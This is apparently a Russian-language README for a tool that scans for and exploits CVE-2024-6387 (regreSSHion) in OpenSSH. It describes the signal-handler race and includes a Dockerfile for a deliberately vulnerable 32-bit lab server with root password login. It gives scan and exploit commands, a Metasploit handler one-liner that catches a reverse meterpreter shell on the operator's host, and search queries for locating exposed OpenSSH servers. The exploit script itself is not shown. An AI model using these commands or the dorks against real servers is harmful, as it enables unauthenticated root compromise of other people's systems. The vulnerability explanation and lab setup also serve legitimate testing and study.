
Сканирует и эксплуатирует CVE-2024-6387 (regreSSHion) на серверах OpenSSH. Возможности: многопоточное сканирование, получение баннера, определение времени ожидания (grace time) и режим эксплуатации с reverse shell полезной нагрузкой.
По сути, это статистическая уязвимость: для победы в гонке (race condition) и успешного выполнения произвольного кода требуется огромное количество попыток. Атакующим необходимо преодолеть множество препятствий, сообщил Шварц изданию SecurityWeek. «Даже в лучшем случае эксплуатация самой известной уязвимости занимает более 4 часов».
В примечаниях к выпуску OpenSSH 9.8 разработчики отметили, что уязвимость подтверждена только на 32-битных системах Linux на базе glibc, а OpenBSD не затронута.
Окружение настраивается с помощью Docker.
# 1.1. Создание Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCЭксплойт работает ТОЛЬКО для 32-битных OpenSSH-серверов. Это связано с тем, что PoC использует 32-битные указатели! Также известно, что некоторые версии уже пропатчены, и не каждый сервер уязвим. Протестировано на: Kali Linux, ParrotSec, Ubuntu 22.04
Удалённая неаутентифицированная уязвимость выполнения кода в сервере OpenSSH
CVE-2024-6387.py — это лёгкий и эффективный инструмент, предназначенный для выявления серверов, работающих на уязвимых версиях OpenSSH, с особым акцентом на недавно обнаруженную уязвимость regreSSHion (CVE-2024-6387). Этот скрипт обеспечивает быстрое сканирование множества IP-адресов, доменных имён и CIDR-диапазонов для обнаружения потенциальных уязвимостей и обеспечения безопасности вашей инфраструктуры.
В сервере OpenSSH (sshd) была обнаружена гонка обработчиков сигналов: если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию, 600 в старых версиях OpenSSH), то асинхронно вызывается обработчик SIGALRM от sshd. Однако этот обработчик сигнала вызывает различные функции, которые не являются async-signal-safe, например, syslog().
Технические подробности можно найти здесь.
Уязвимость, обнаруженная исследователями из Qualys в мае 2024 года и получившая идентификатор CVE-2024-6387, вызвана гонкой обработчиков сигналов в sshd, которая позволяет неаутентифицированным удалённым атакующим выполнять произвольный код с правами root.
«Если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию), то обработчик SIGALRM от sshd вызывается асинхронно и вызывает различные функции, которые не являются async-signal-safe».
«Удалённый неаутентифицированный атакующий может воспользоваться этой уязвимостью для выполнения произвольного кода с привилегиями root».
Требование: python3 последней версии
### Аргументы командной строки
mode: Выбирает режим работы. Варианты: scan или exploit.
-T, --targets: IP-адреса, доменные имена, пути к файлам, содержащим IP-адреса, или CIDR-диапазоны.
-f, --outputfile: Файл для сохранения результатов (например, result.json).
-g, --gracetimecheck: Время ожидания в секундах после определения версии для проверки смягчения LoginGraceTime (по умолчанию: 120 секунд).
-n, --nic: Сетевой NIC (по умолчанию: 'eth0').
-o, --output: Формат вывода результатов (варианты: 'csv', 'txt', 'json').
-p, --port: Номер порта для проверки или эксплуатации (по умолчанию: 22).
-s, --speed: Количество потоков для повышения шансов на гонку (по умолчанию: 10).
-t, --timeout: Таймаут подключения в секундах (по умолчанию: 1 секунда).
-H, --resolve-hostnames: Разрешать имена хостов
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Всё, что вам нужно сделать, — это сначала выполнить команду ниже (замените {yourip} на ваш обработчик), а затем запустить эксплойт с помощью команды выше
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Инструмент предоставляет цветной вывод в консоль для лучшей читаемости:
Зелёный: Успешное подключение или операция. Красный: Неудачное подключение или ошибка. Жёлтый: Предупреждения или важная информация. Голубой: Общая информация или обновления статуса.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-access